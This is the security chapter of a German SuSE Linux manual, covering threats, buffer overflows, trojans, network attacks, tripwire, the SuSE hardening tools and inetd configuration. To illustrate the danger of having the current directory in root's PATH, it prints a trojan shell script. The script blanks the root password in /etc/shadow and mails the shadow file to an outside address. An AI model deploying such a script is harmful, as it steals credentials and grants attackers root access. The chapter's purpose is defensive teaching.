Teil VIII Sicherheit und andere Tipps 457 Kapitel 18 Sicherheit ist Vertrauenssache 18.1 Grundlagen Bedrohungen aus dem Internet sind aus den heutigen Medien nicht mehr wegzudenken. Nahezu täglich erfährt man von einer neuen Gefahr für den heimischen Rechner oder für das gesamte Firmennetz durch Angriffe aus dem Internet oder durch Viren. Tatsächlich jedoch kann vor dieser Art von Bedrohung auch ein Schutz erworben werden. Bevor auf einzelne Schutzmechanismen eingegangen werden kann, muss klargestellt werden, was Sicherheit1 (engl. Security) überhaupt bedeutet und vor was man sich schützen möchte. Folgende 6 Punkte machen schnell klar, dass die Sicherheit eines Rechners ein erstrebenswertes Ziel darstellt: 1. Schutz der Ressourcen 2. Zugang zu Informationen 3. Verfügbarkeit von Daten 4. Integrität der Daten 5. Vertraulichkeit der Daten (Rechtsvorschriften, z. B. Arztpraxen, Banken) 6. Privatsphäre Die Gewährleistung dieser 6 Punkte soll das Ziel eines ausgearbeiteten Si- cherheitskonzeptes sein. Hier muss nicht nur der Schutz vor Zugriffen unbe- fugter Dritter in Betracht gezogen werden, sondern auch die Gefahren durch schadhafte Hardware, wie z. B. Festplattencrashs oder defekte Sicherungs- bänder. Falls Transaktionsdaten auf dem System verarbeitet werden, greifen hier die gesetzlichen Bestimmungen der GoB (Grundsätze ordnungsgemäßer Buch- führung), welche u. a. die Systemverwalter dazu verpflichtet, das System vor unberechtigten Zugriffen zu schützen2. Ein elementarer Bestandteil eines guten Sicherheitskonzeptes ist das re- gelmäßige Erstellen von Backups, die auch auf ihre Verwendbarkeit hin geprüft werden sollten. 1 Im amerikanischen Sprachgebrauch findet sich häufiger das Wort Trust, das mehr den Grad des Vertrauens zum Ausdruck bringen soll, welches der Anwender seinem System entgegenbringt. 2 Es greifen noch andere Bestimmungen, z. B. dass die Transaktionsdaten für mindestens 10 Jah- re für Prüfungen zur Verfügung stehen. 459 18. Sicherheit ist Vertrauenssache Zusammengefasst ergeben sich folgende mögliche Punkte, in denen die Si- cherheit eines Computersystems Gefahren ausgesetzt ist: Benutzer, die direkt an den jeweiligen Computern arbeiten, stellen die größ- te aller denkbaren Bedrohungen dar. Dies muss nicht in jedem Fall beab- sichtigt sein, aber natürlich sind auch gezielte Angriffe durch Mitarbeiter denkbar. Kommunikation über lokale oder Weitverkehrs-Netze, wie auch das Inter- net, kann einerseits abgehört werden, andererseits bieten diese Netze An- griffsmöglichkeiten, ohne dass der Angreifer sich direkt vor Ort aufhalten muss. Direkter Zugriff auf Computer durch Einbrecher oder andere unbefugte Personen, Diebstahl oder Sabotage. Naturkatastrophen gegenüber sind Computer sehr anfällig. Hardware und Software kann fehlerhaft sein, durch Designfehler oder kon- krete Defekte, und damit nicht nur den Datenbestand an sich gefährden, sondern auch eine Kompromittierung ermöglichen bzw. den Dienst kom- plett unbrauchbar machen (siehe auch Abschnitt 82 auf Seite 464). Speichermedien wie Disketten, Bänder oder Festplatten können entwendet oder (unbeabsichtigt) beschädigt werden. Elektromagnetische Strahlung wird von jedem Computer, Monitor und Netzwerkkabel emittiert. Die darin enthaltene Information kann mit ge- eigneten Geräten empfangen und nutzbar gemacht werden. Diese Strahlen werden auch über Rohrleitungen und Stromkabel transportiert, entgegen der üblichen Meinung strahlen übrigens auch LCD Monitore Strahlen ab. Hier soll insbesondere auf die ersten beiden Punkte eingegangen werden, da gerade in diesen Bereichen durch den planvollen Einsatz von SuSE Linux Gefahrenpotential weitgehend abgebaut werden kann. Die übrigen Punkte sind für den Privatanwender von SuSE Linux sicherlich weniger interessant, beim Aufbau eines Firmennetzes sollten sich die zuständigen Personenkreise aber auch hier Gedanken machen. In Abschnitt 18.1.1 und Abschnitt 18.1.2 auf Seite 463 wird zunächst auf die unterschiedlichen Angriffsformen eingegangen, bevor dann in Abschnitt 18.2 auf Seite 465 auf Seite 465 die einzelnen Werkzeuge, die in SuSE Linux 6.4 zur Verfügung stehen, im Detail vorgestellt werden. Zum Schluss gibt es einige allgemein gültige Hinweise, die auf jeden Fall beachtet werden sollten. 18.1.1 Lokale Sicherheit Wer im Glashaus sitzt ... Mit der Sicherheit fängt man am besten beim ei- genen Rechner im lokalen Netz an. Doch auch wenn der Rechner nicht oder nur temporär an einem Netz hängt, sollten gewisse Mindestvoraussetzungen beachtet werden. Schon das Löschen der Festplatte durch Partygäste kann zu einem großen Ärgernis werden, wenn dabei die letzten Ergebnisse der Pro- motionsarbeit verlorengehen. 460 18.1. Grundlagen Passwörter Linux als Multiuser-Betriebssystem hat nicht nur ein Benutzerkonzept, son- dern verfügt auch über einen Authentifizierungsmechanismus durch die Pass- wortabfrage. Auch wenn es unbequem erscheint, Sie sollten für alle Benutzer auf Ihrem System ein gutes Passwort3 vergeben. Dies gibt Ihrem System zu- mindest guten Schutz vor dem unbedarften Eindringling. Insbesondere der Benutzer `root' ist das prominenteste Ziel von Angriffen, hier sollte das Passwort mit besonderer Sorgfalt gewählt werden. Doch die besten Passwörter können nicht helfen, wenn der Eindringling di- rekten Zugang zu dem Rechner hat und ihn von dort zum Booten bewegen kann. Mit einer Bootdiskette kann Zugang zum installierten System erlangt werden. Aus diesem Grund sollten im BIOS-Setup ( BIOS) des PC die Dis- kettenlaufwerke ­ sofern vorhanden ­ als bootbare Medien deaktiviert wer- den. Damit diese Sperre nicht umgangen werden kann, sollte im gleichen Zug ein BIOS-Passwort gesetzt werden. Das Passwort selbst darf jedoch auf gar keinen Fall vergessen werden, ansonsten ist der spätere Zugriff auf das BIOS unmöglich ­ außer das BIOS wird mittels einer Überbrückung zurück gesetzt. Falls LILO benutzt wird (vgl. auf Seite 126), sollte in der Datei /etc/ lilo.conf die Option restricted zusammen mit einem Passwort (z. B. password=sicheres_passwort) eingetragen werden und mit- tels lilo aktiviert werden. Ansonsten ist es für jeden möglich, der direkt am Rechner sitzt, das System zu kompromittieren. Das Passwort muss natürlich sicher gewählt sein, und die Datei /etc/lilo.conf darf nur für den Benutzer `root' lesbar sein. Das Paket john in Serie sec (Sicherheitsrelevante Software) enthält ein Pro- gramm, um Passwörter zu erraten. Dieses kann der umsichtige Administrator verwenden, um schwache Passwörter automatisch erkennen zu lassen, und die Benutzer anzuweisen, nur sichere Passwörter zu verwenden. Zugriffsrechte Um die Möglichkeiten der einzelnen User einzuschränken, beabsichtigt oder unbeabsichtigt Schaden anzurichten, sollten die User jeweils mit minimalen Rechten arbeiten. So ist es eine Grundregel, dass nicht jeder Anwender auf seinem Rechner stets als `root' arbeiten muss; selbst das gut gewählte Passwort sollte nur den Administratoren bekannt sein. Buffer Overflows und andere Angriffe Nach wie vor die beliebteste Methode, `root'-Rechte auf einem Rechner zu erlangen, sind die so genannten buffer overflows"4. Bei diesen Exploits" werden statische Felder im User Stack" eines Programms, z. B. während 3 Über die Wahl eines guten Passwortes sind schon sehr lange Artikel verfasst worden. In Ab- schnitt 18.4 auf Seite 474 werden einige Hinweise gegeben. 4 Auch bekannt als stack smashing vulnerabilities". 461 18. Sicherheit ist Vertrauenssache einer Texteingabe, gezielt mit Werten überschrieben, die andere Variablen im User Stack (also der Funktionstack und der Programmheap) überschreiben, so dass gewünschter Code ausgeführt werden kann, etwa das Starten einer Shell. Betroffen sind hiervon ausschließlich Programme mit statischen Arraygrößen für Eingabewerte ohne Überprüfung auf Pufferüberlauf. Die einzigen attraktiven Programme für diese Angriffsform sind solche, die das suid- oder sgid-Bit gesetzt haben, also Programme, die mit den Rechten des Eigentümers und nicht des aufrufenden Users gestartet werden. Üblicher- weise benötigen Programme deshalb suid-root, da sie Aufgaben ausführen (wie z. B. passwd), zu denen ein normaler User keine Berechtigung hat. Da- her ist es das Ziel der Distribution, die Anzahl dieser Programme möglichst gering zu halten und diese gegen derartige Angriffe abzusichern. Neben die- sen Programmen sind auch die Systemdienste in Form von Daemonen an- fällig für diese Art Angriff. Weiterhin sollten einschlägige Medien beachtet, sowie bei Bekanntwerden derartiger Lücken verfügbare Updates und Patches zügig eingespielt werden. Ein weiterer Angriff auf privilegierte Programme und laufende Dienste sind so genannte link attacks". Durch unsicheres Arbeiten der Programme in öf- fentlichen Verzeichnissen kann es möglich sein, Daten in vollkommen andere Dateien umzuleiten, und so das System zu kompromittieren oder zum Absturz zu bringen. Um die Anzahl der suid- und sgid-Dateien auf dem System zu reduzieren, kann man bei SuSE Linux mit YaST unter `Administration des Systems' und `Einstellungen zur Systemsicherheit' im Auswahlfenster `Rechte auf Dateien werden gesetzt auf:' auf secure oder paranoid setzen. Welche Rechte dadurch gesetzt wer- den, können Sie in den Dateien /etc/permissions.secure und /etc/permissions.paranoid nachprüfen. Bei paranoid sollte man sich vor dessen Verwendung jedoch vergewissern, dass die Funktiona- lität des Systems für die eigenen Bedürfnisse nicht zu sehr eingeschränkt wird. Aufgrund seiner Komplexität und des gewachsenen Codes ist das X Window System (XFree86) immer mal wieder auffällig geworden. Mittlerweile hat sich diese Problematik unter SuSE Linux entschärft, da die Server und Libra- ries nicht mehr suid-root gesetzt sind. Dennoch ergeben sich unter bestimm- ten Umständen einige Mängel in der Client-Server Kommunikation. Hier ist z. B. das Abhören von Tastatureingaben sowie das Auslesen von Fensterin- halten möglich. Unter Beachtung von Regel 3 und der Verwendung von Xau- thority mittels xauth sowie der Vermeidung von xhost + kann jedoch ein grundlegendes Maß an Sicherheit erreicht werden. Um remote X-Programme zu starten, sollte möglichst das Paket ssh der Serie sec (Sicherheitsrelevan- te Software) verwendet werden; im kommerziellen Umfeld beachten Sie bitte die Lizenzbestimmung (/usr/doc/packages/ssh/COPYING). ssh ist auch für die anderen gängigen Plattformen verfügbar. Jedoch birgt dieses so genannte X11-Forwarding seine eigenen Gefahren, bitte erwägen Sie auch ganz darauf zu verzichten. 462 18.1. Grundlagen Auf kritischen Serversystemen sollte jedoch, schon aus Performance- Gründen, kein X Window System eingesetzt werden. Viren und Pferde Bis vor relativ kurzer Zeit trieben diverse Arten von Viren ihr Unwesen nicht nur auf Homecomputern, da das Transportieren und Weitergeben von Soft- ware auf Diskette den idealen Nährboden für diese Programme darstellt. Zum Glück sind bislang für Linux gerade mal 2 Viren bekannt. Da für Linux kaum Software im Binärformat weitergegeben wird und SuSE Linux selbst als vi- renfrei angesehen werden kann, besteht unter Beachtung von Regel 1 auf Sei- te 474 keine Gefahr von Viren. Anders sieht es jedoch mit den immer noch stark zunehmenden Makro-Viren aus, die vermehrt per E-Mail (in Textverarbeitungsdokumente eingebettet) verschickt werden. Da das gängige Office-Paket unter Linux nicht verfügbar ist, befinden sich diese Makro-Viren auf SuSE Linux in einer sterilen" Um- gebung. Aufgrund der Tatsache, dass SuSE Linux vermehrt auf Mail-Servern als Mail Transfer Agent" eingesetzt wird, bietet sich hier die Gelegenheit, eingehende und ausgehende Mails automatisch nach eingebetteten Viren zu scannen. Die so genannten trojanische Pferde" verdienen eine gesonderte Beachtung. Diese Programme gaukeln vor, etwas völlig anderes zu sein, um im Verbor- genen ihrem Tun nachzugehen. So kann sich z. B. hinter einem Loginprompt ein trojanisches Pferd verbergen, welches die ergaunerten Passwörter in ei- ner Datei sammelt oder per E-Mail versendet. Das hört sich vielleicht noch ganz harmlos an, jedoch spätestens wenn es um Kreditkartennummern oder die PIN zum Girokonto geht, hört der Spaß auf. Die Chance, ein trojanisches Pferd aus dem Internet herunterzuladen oder per E-Mail zu empfangen, ist relativ gering, jedoch ist es eine übliche Technik auf einem bereits kompro- mittierten System einige Trojaner zu hinterlassen, um sich jederzeit wieder Zugang verschaffen zu können. Die Existenz von trojanischen Pferden kann also als sicherer Indikator für ein kompromittiertes System dienen. Einen endgültigen Schutz vor Viren und vor trojanischen Pferden kann es nicht geben, jedoch kann ein guter Virenscanner sowie ein durchdachter Um- gang mit Disketten und Fremdprogrammen und die Beachtung der Regeln in Abschnitt 18.4 auf Seite 474 viel beitragen. Auch die Verwendung von Pro- grammen wie tripwire, Paket tripwire, Serie sec (Sicherheitsrelevante Software), siehe auf Seite 466 hilft bei der Erkennung. 18.1.2 Netzwerk-Sicherheit Kaum mehr ein Rechner steht alleine in der Kammer. Mittlerweile sind gerade wegen der ausgezeichneten Netzwerkfähigkeit von Linux die Rechner im LAN vernetzt, hängen über Modem oder ISDN im Internet oder dienen als Gateway für ganze Subnetze. Dabei besteht für jeden Rechner die Gefahr vielfältiger Angriffe über das Netzwerk. Bei geeigneter Konfiguration eines Firewalls können die meisten Angriffs- formen abgewehrt werden; zwar sind die geöffneten Ports nach wie vor ver- 463 18. Sicherheit ist Vertrauenssache wundbar, jedoch kann durch den Einsatz weiterer Tools auch hier das Risiko entschieden vermindert werden. Die Wahrscheinlichkeit, während der 30 Minuten Maillesen über eine Wähl- leitung Ziel eines Angriffs zu werden, kann als gering eingestuft werden. Über permanente Leitungen verbundene Systeme sollten aber auf jeden Fall geschützt werden. Die wichtigsten Angriffsformen werden hier kurz vorge- stellt. Man in the Middle Die Man in the Middle"-Angriffe beziehen sich auf Netzwerkverkehr, der über einen oder mehrere Rechner zwischen verschiedenen Netzen geroutet wird. Der Angreifer hat dabei Kontrolle über einen der Router, kann unter- wegs IP Pakete abhören, umleiten und austauschen. Da momentan IP-Pakete nicht authentifiziert sind, ist dieser Angriff leicht möglich. Besserung ver- spricht IPv6, der kommende Standard. Die einzige Abhilfe gegen diese Art von Angriffen, etwa beim Mailaustausch oder bei Zugriffen auf WWW-Server, bietet nur der Einsatz starker Krypto- graphie. Netzverbindungen mit telnet oder rsh können im Klartext inklu- sive Passwort mitgelesen werden. Das ist der häufigste Grund für die Kom- promitierung eines Systems von außen! Hier sollte umgehend auf die Verwen- dung von ssh gewechselt werden. Zur Signatur vom E-Mails empfiehlt sich die Verwendung von pgp. Eine verschlüsselte Übertragung von HTTP-Seiten kann mit dem SSL5 Protokoll erreicht werden ( Verschlüsselung). Die Qua- lität der Verschlüsselung steht und fällt jedoch mit der sicheren Übertragung der Schlüssel. Hierbei sollte also besondere Vorsicht walten! Das Paket modssl in Serie n (Netzwerk) enthält das SSL-Modul für den HTTP-Server Paket apache. Buffer Overflows, die 2. Nach dem so genannten sniffing", dem passiven Mitlesen von Daten (z. B. Login und Passwort), sind Buffer Overflows die häufigste Art der Kompro- mittierung von außen. Hier gilt: Jeder von außen erreichbare Dienst (z. B. Mail, Webserver, POP3 etc.) stellt ein potentielles Sicherheitsproblem dar. Je- der Dienst der unbedingt benötigt und nicht abgeschaltet werden kann, soll- te wenn möglich über eine Firewall-Filter-Konfiguration des Linux-Kernels (mittels ipchains) nur von bestimmten Systemen erreichbar sein. Wenn auch das nicht möglich ist, sollte versucht werden, den Dienst durch eine besonders sichere Version zu ersetzten (z. B. Paket postfix anstatt Paket sendmail). Experten können darüber hinaus noch jeden Dienst in einer ei- genen chroot-Umgebung laufen lassen. Denial of Service Bei den Denial-of-Service"-Attacken schaltet der Angreifer einen Netz- dienst durch Überlastung gezielt aus. Unter Umständen ist davon dann nicht nur der einzelne Dienst betroffen, sondern die ganze Maschine kann nicht 5 SSL steht für Secure Socket Layer. 464 18.2. Tools mehr erreicht werden. Häufig wird diese Angriffsform eingesetzt, um einen Nameserver auszuschalten, damit dessen Funktion übernommen werden kann. Nach der Übernahme können dann Netzwerkpakete an eine andere Stelle geleitet werden. Denial-of-Service wird zumeist mit IP Spoofing kom- biniert eingesetzt, um die Herkunft zu verschleiern; vgl. auf dieser Seite. Daher ist eine Rückverfolgung in den meisten Fällen aussichtslos. Es muss einfach besser abgesichert werden. Zu Denial-of-Service-Angriffen, die zum kompletten Stillstand einer Maschi- ne führen können, gibt es in der Regel innerhalb von Stunden nach dem Be- kanntwerden einen Patch. SuSE Linux ist gegen die zum jeweiligen Release- zeitpunkt bekannten Denial-of-Service Angriffe abgesichert, soweit Patches vorhanden. Dennoch sollte der verantwortliche Systembetreuer sich stets auf dem laufenden halten. IP Spoofing Das IP Spoofing" bezeichnet eine Technik, die eine Sicherheitslücke im TCP/IP Protokoll ausnutzt. Dabei wird die Absenderadresse eines TCP/IP- Paketes nicht überprüft, und kann somit mit einem beliebigen Wert gefüllt werden. Damit kann der Urheber einer Attacke seine Herkunft verschleiern. Zunächst ist es wichtig, den eigenen Router ins externe Netz so zu konfigu- rieren, dass nur Pakete mit einer externen Absendeadresse ins interne Netz passieren können und nur Pakete mit einer internen Adresse ins externe Netz geroutet werden. 18.2 Tools Nun gehen wir darauf ein, welche Möglichkeiten man hat, mit Hilfe von Tools das eigene System zu überwachen und auf evtl. vorhandene Schwachstellen zu überprüfen. An dieser Stelle soll jedoch noch einmal darauf hingewiesen sein, dass die potentielle Gefährdung eines Rechners immer individuell unter- schiedlich einzustufen ist. In einem durch einen Firewall geschützten Netz- werk bedarf es sicherlich weniger Schutz- und Überwachungsmaßnahmen, als in einem ungeschützten Netzwerk. 18.2.1 Lokale Tools Der unumstrittene Vorteil von Linux gegenüber anderen Betriebssystemen ist zum einen die Stabilität und zum anderen die Tatsache, dass es sich um ein Multiuser-Betriebssystem handelt. Letzteres birgt jedoch auch Risiken, die man nicht unterschätzen sollte. So existieren zusätzlich zu den bekann- ten Dateirechten einige, die durch erfahrene Benutzer (Angreifer) ausgenutzt werden könnten. Die Rede ist vom sog. suid-Bit. Ein Programm, welches dieses Bit gesetzt hat, bekommt automatisch die Rechte des Benutzers, dem es gehört. Gehört besagtes Programm dem Superuser, und wird von einem beliebigen Benutzer gestartet, so hat es im laufenden System die Rechte des Superusers. Das hört sich jetzt sehr gefährlich an, ist jedoch für gewisse Funk- tionalitäten unumgänglich. So muss z. B. das Programm ping mit Superuser- Rechten ausgeführt werden. Das würde bedeuten, dass nur `root' dieses 465 18. Sicherheit ist Vertrauenssache Programm ausführen könnte. Aus diesem Grund wird hier das suid-Bit ge- setzt. tux@erde:/home/tux > ls -l /bin/ping -rwsr-xr-x 1 root root 13216 Mar 17 16:36 /bin/ping Wenn Sie wissen möchten, welche Programme in Ihrem System das suid- Bit gesetzt haben und dem Benutzer `root' gehören, geben Sie einmal folgendes ein: tux@erde:/home/tux > find / -uid 0 -perm +4000 Auf diese Weise können Sie verdächtige" Programme identifizieren. Bei SuSE Linux können Sie mit Hilfe von YaST unter `Administrati- on des Systems' und `Einstellungen zur Systemsicher- heit' im Auswahlfenster `Rechte auf Dateien werden ge- setzt auf:' auf secure setzen. Welche Rechte dadurch gesetzt werden, können Sie in der Datei /etc/permissions.secure nachprüfen. Kaum jemand hat sicherlich die Zeit dazu, seinen oder seine Arbeitsplatz- rechner ständig mit ausgeklügelten Kommandos zu überwachen. Für diese Aufgabe existieren zum Glück Tools, die einem eine Menge Arbeit ersparen können. Auf eines dieser Tools werde ich hier kurz eingehen, da es u. a. auch vom CERT6 empfohlen wird. Die Rede ist vom Programm tripwire, Paket tripwire, Serie sec (Sicherheitsrelevante Software). Tripwire Die Funktionsweise dieses Programmes ist im Prinzip ganz einfach. Das Pro- gramm sieht das System durch und speichert Informationen über und zu Da- teien in einer Datenbank. Welche Dateien und Verzeichnisse überwacht und welche Informationen überprüft werden sollen, lässt sich mittels einer Konfi- gurationsdatei steuern. Tripwire schaut nicht nach infizierten Dateien oder Fehlern im System. Es erstellt lediglich eine Datenbank eines Systems, bei dem davon ausgegangen werden muss, dass es sauber" ist. Deshalb sollte die Datenbank unmittelbar nach der Installation eines Systems erstellt werden, am Besten bevor der Rechner an das Netz angeschlossen wird. Mit Hilfe des folgenden Aufrufes wird eine Datenbank erstellt: root@erde:root > /var/adm/tripwire/bin/tripwire -init Tabelle 18.1 auf der nächsten Seite zeigt die Pfade auf Datenbank und Kon- figurationsdatei, die im Paket tripwire aus SuSE Linux fest eincompiliert wurden. Die Pfade sind so gewählt, weil nur der Superuser in sein Homeverzeichnis /root wechseln und hineinsehen kann. Im Idealfall sollte sich die Daten- bank auf einem Dateisystem befinden, auf das nur lesend zugegriffen werden kann, z. B. eine schreibgeschützte Diskette, da sonst ein erfolgreicher An- greifer seine Manipulationen durch das Anpassen der Datenbank verbergen 6 CERT = engl. Computer Emergency Response Team; siehe http://www.cert.dfn.de/ dfncert/info.html. 466 18.2. Tools /var/adm/tripwire Datenbank und Konfigurationsdatei databases Dieses Verzeichnis wird automatisch er- stellt. Hier werden neu erstellte Datenban- ken temporär abgelegt. Sie müssen dann von Hand an die richtige Stelle kopiert wer- den. /var/adm/ Die Konfigurationsdatei tripwire/tw. config /var/adm/ Hier liegt die Datenbank tripwire/db Tabelle 18.1: Die eincompilierten Pfade für Tripwire kann. Eine Beispielkonfiguration für Tripwire finden Sie unter /usr/doc/ packages/tripwire/tw.conf.example.linux. Über Syntax und Features dieser Konfigurationsdatei finden Sie Informationen in der Manpa- ge zu tw.config. Es lassen sich hier verschiedene Prüfsummenverfahren individuell auf einzelne Dateien anwenden. Weiterhin kann angegeben wer- den, welche Informationen einer Datei oder eines Verzeichnisses gespeichert werden sollen. Nachdem man seine individuelle Konfigurationsdatei erstellt hat, kann man tripwire z. B. regelmäßig als Cronjob ausführen lassen. SuSE Security Tools SuSE Linux hat inzwischen vier eigens entwickelte Sicherheitsprogramme, die Ihnen helfen, Ihr System sicherer zu machen und dieses zu kontrollieren: Das Paket firewals, Serie sec (Sicherheitsrelevante Software) enthält das Skript /usr/sbin/SuSEfirewall, welches die Konfigurationsdatei /etc/rc.firewall ausliest, und danach restriktive Filterlisten mittels ip- chains generiert. Mehr Informationen finden Sie unter Abschnitt 18.2.2 auf Seite 469 Netzwerk-Tools. Das Paket secchk, Serie sec (Sicherheitsrelevante Software) enthält meh- rere kleine Skripten, die täglich, wöchentlich und monatlich spezielle Sicher- heitsüberprüfungen des Systems vornehmen (z. B. Konsistenz der Passwort- datei, Benutzerdaten, Passwörter knacken, laufende Module), und bei Ände- rungen der Administrator benachrichtigt. Das Paket hardsuse, Serie sec (Sicherheitsrelevante Software) enthält das Perl-Skript harden_suse (/usr/sbin/harden_suse), welches ent- wickelt wurde, um Systemverwaltern ein einfach zu bedienendes Programm zur Erhöhung der Sicherheit an die Hand zu geben. Nach dem Start wer- den neun Ja/Nein-Fragen gestellt (z. B. ob alle Dienste deaktiviert werden sollen, Benutzer-Sicherheit erhöht oder suid- und sgid-Dateien minimieren), um nach den Angaben dann das System umzukonfigurieren. Eine Logda- tei mit den Änderungen finden Sie in /etc/harden_suse.log, zudem 467 18. Sicherheit ist Vertrauenssache werden Sicherheitskopien der geänderten Dateien erstellt. Sollte das System sich anschließend ungewollt verhalten, lassen sich die Änderungen mittels /etc/undo_harden_suse wieder zurücksetzen. Das Paket scslog, Serie sec (Sicherheitsrelevante Software) beinhaltet ein Kernel-Modul, welches nach dem Laden alle eingehenden und ausgehenden Netzwerkverbindungen protokolliert; Sie können dies automatisieren, indem Sie es z. B. in die Startup-Dateien einfügen. Das Paket secumod, Serie sec (Sicherheitsrelevante Software) enthält ein weiteres Modul, welches Angriffe auf Ihr System verhindert oder er- schwert. Dazu gehören bis jetzt der Schutz vor Symlink-, Hardlink- und Pipe-Angriffen, Prozesse können auf Wunsch nicht mehr "gestraced" werden und einiges mehr. Da dieses Paket sehr neu ist, und zum Druckdatum dieses Buches noch nicht vollständig dokumentiert war, möchten wir Sie bitten, einen Blick in die Dokumentation des Pakets zu werfen. Durch Logdateien surfen Eine wichtige Quelle an Informationen sind sicherlich die Dateien, in denen das System und einzelne Programme Informationen schreiben. Die Rede ist von Logdateien. Zumindest eine dieser Logdateien sollte man regelmäßig durchsehen: die Datei /var/log/messages ­ hierhin wird unter SuSE Linux der Großteil der Informationen protokolliert. Natürlich hat man in den meisten Fällen keine Zeit und/oder keine Motivati- on, sich durch diese immer größer werdenden Dateien zu graben. Zum Glück gibt es auch hierfür Hilfsmittel, die einen Großteil der Arbeit erledigen kön- nen. Eines dieser Hilfsmittel ist das Programm logsurfer. Durch eine Konfigurationsdatei gesteuert, erlaubt es die kontinuierliche Über- wachung einer Logdatei. Auf bestimmte Meldungen kann hier mit definierten Aktionen reagiert werden, indem z. B. eine Mail geschickt oder ein externes Programm gestartet wird. Beispiele finden sich in der wirklich guten Manual-Page von logsurfer.conf (man 4 logsurfer.conf). Die Variable PATH und der Benutzer `root' ... Während der Arbeit unter SuSE Linux als Benutzer `root' ist Ihnen si- cherlich schon aufgefallen, dass das aktuelle Verzeichnis nicht im Suchpfad vorhanden ist. Das macht sich dadurch bemerkbar, dass Sie vor dem Namen des auszuführenden Programmes immer ein ./ voranstellen müssen. Den Grund dafür verdeutlicht das folgende Szenario: * Ein Benutzer ist in Ihrem System angemeldet und erstellt das Shell-Skript in der Art der Datei 18.2.1 auf der nächsten Seite. * Dieses Skript legt er nach /tmp/ls. * Wenn jetzt `root' nach /tmp wechselt, das aktuelle Verzeichnis ­ in diesem Fall /tmp ­ vor /bin in der Variable PATH eingetragen hat, so wird anstatt /bin/ls das eben erwähnte Skript ausgeführt, was zur Folge hat, dass das Root-Passwort entfernt wird und der Benutzer eine 468 18.2. Tools #!/bin/sh cp /etc/shadow /etc/shadow.system cat /etc/shadow.system | \ sed 's;\(^root:\)[^:]*\(:.*\);\1\2;' > /etc/shadow # rm -f /etc/shadow.system mailx hacker@hackit.org -s "Root Ac- count hacked" < /etc/shadow /bin/ls $* Datei 18.2.1: Shellskript zum Root-Hack Mail bekommt, die Ihm sagt, dass er jetzt ohne Passwort einen Root- Account auf Ihrem Rechner hat. Das ist unschön ;-) . Wäre das aktuelle Verzeichnis nicht im Suchpfad gewesen, hätten Sie explizit ./ls eingeben müssen, um das Skript auszuführen ­ es handelt sich hierbei übrigens um ein Trojanisches Pferd" ( auf Seite 463). 18.2.2 Netzwerk-Tools Es ist ohne Zweifel sinnvoll und wichtig, einen Rechner, der im Netzwerk steht, zu beobachten bzw. zu kontrollieren. Im folgenden soll darauf einge- gangen werden, wie man einen Linux-Rechner möglichst sicher vor einem Angriff aus dem Netz machen kann. Der inetd Ein elementarer Ansatz hierfür ist die genau überlegte Freischaltung der Dienste (Ports), die der inetd (Internet Super-Server") bereitstellt. Unter SuSE Linux sind als Voreinstellung einige der gefährlichen" Dienste stan- dardmäßig deaktiviert. Es handelt sich hierbei um die internal services" des inetd. Die Konfigurationsdatei ist /etc/inetd.conf. Aber auch die an- deren Dienste sollten wohlüberlegt freigeschaltet bzw. deaktiviert werden ­ je nach Bedarf. Wir empfehlen unbedingt einen Blick in die Konfigurations- datei zu werfen, da standardmäßig z. B. POP3 und andere Dienste aktiviert sind! Datei 18.2.2 zeigt eine Auswahl an Diensten, die in den allermeisten Fällen vollkommen ausreichend ist. ftp stream tcp nowait root /usr/sbin/tcpd wu.ftpd -a telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L login stream tcp nowait root /usr/sbin/tcpd in.rlogind finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd - wident stream tcp wait nobody /usr/sbin/in.identd in.identd \ -w -e -t120 Datei 18.2.2: Typisches Konfigurationsbeispiel für den inetd Jedoch auch hier sollte man sich überlegen, ob man wirklich Dienste wie telnet, shell und login benötigt. Diese Dienste haben nämlich den Nachteil, 469 18. Sicherheit ist Vertrauenssache dass ein Angreifer sämtliche Daten einschließlich des Passworts bei solchen Verbindungen mitlesen kann. Dazu sind nicht einmal besondere Kenntnisse notwendig, da es Programme gibt, die einem diese Arbeit abnehmen. Insbe- sondere sollte man auf keinen Fall ein direkten Remote-Login als `root' zulassen. Aus diesem Grund sei noch einmal auf die Secure Shell" (Paket ssh) hingewiesen. Bei Einsatz der ssh wird die gesamte Übertragung ver- schlüsselt, auch das eingegebene Passwort ( Verschlüsselung). Das SuSE Firewall-Paket Fragen zum SuSE Paketfilterfirewall werden nicht durch den Installations- support beantwortet. Der SuSE Paketfilterfirewall (Paket firewals, Serie sec (Sicherheitsrele- vante Software)) wird über die Datei /etc/rc.firewall aktiviert und konfiguriert. Die einzelnen Einträge sind in der Datei selber dokumentiert und kommentiert. Um auch Anfängern den Einstieg zu erleichtern, folgen nun einige Grundlagen-Erläuterungen und Hinweise zum Einsatz der SuSE Paketfilterfirewall. Die bei der Kommunikation über das Internet eingesetzte Protokollfamilie ist das Internetprotokoll, das unter dem Begriff TCP/IP" bekannt ist. TCP/IP steht für Transmission Control Protocol und Internet Protocol. TCP/IP ist heutzutage über fast alle Hardware-, Betriebssystem- und Netzplattformen hinweg verfügbar. Es wurde vom amerikanischen Verteidigungsministerium (United States Department of Defence; DoD) entwickelt und zum ersten Mal 1978 der Öffentlichkeit vorgestellt. Ein TCP/IP-Netz überträgt Daten zwischen verschiedenen Computersyste- men, indem es die Daten zu Paketen zusammenfasst und die Pakete überträgt. Jedes Paket beginnt mit einem Header, der verschiedene Steuerinformationen, wie z. B. die Adresse des Zielcomputers, enthält. Nach diesem Header folgen dann die zu übertragenden Daten. Wenn z. B. eine Datei von einem Compu- ter auf einen anderen Computer über das Netz transportiert werden soll, wird der Inhalt dieser Datei in eine Serie von Paketen umgewandelt. Diese Pakete werden dann zum Zielcomputer geschickt. Die fehlerfreie Übertragung der Pakete stellt das Transmission Control Proto- col (TCP) sicher. Es sorgt z. B. dafür, dass die Pakete in der richtigen Reihen- folge beim Empfänger ankommen. TCP bildet die Transportschicht und mel- det Fehler, die nicht behebbar sind, an das darüberliegende IP weiter. Ein wei- teres Tranportschichtprotokoll der Familie ist UDP. Bei UDP wurde auf die Sicherstellung der fehlerfreien Übertragung verzichtet, wodurch die Übertra- gung schneller als bei TCP verläuft. Allerdings muss bei der Verwendung von UDP anderweitig (durch die Anwendung) sichergestellt werden, dass Über- tragungsfehler erkannt und korrigiert werden. Eine IP-Adresse (IP Version 4) ist ein 32Bit-Wert. Um IP-Adressen besser lesbar zu machen, werden sie in dezimalen 8Bit-Portionen, durch Punkte ge- trennt, geschrieben (z. B. 192.168.0.20). Damit ein Computer zur glei- chen Zeit mehrere Verbindungen bedienen 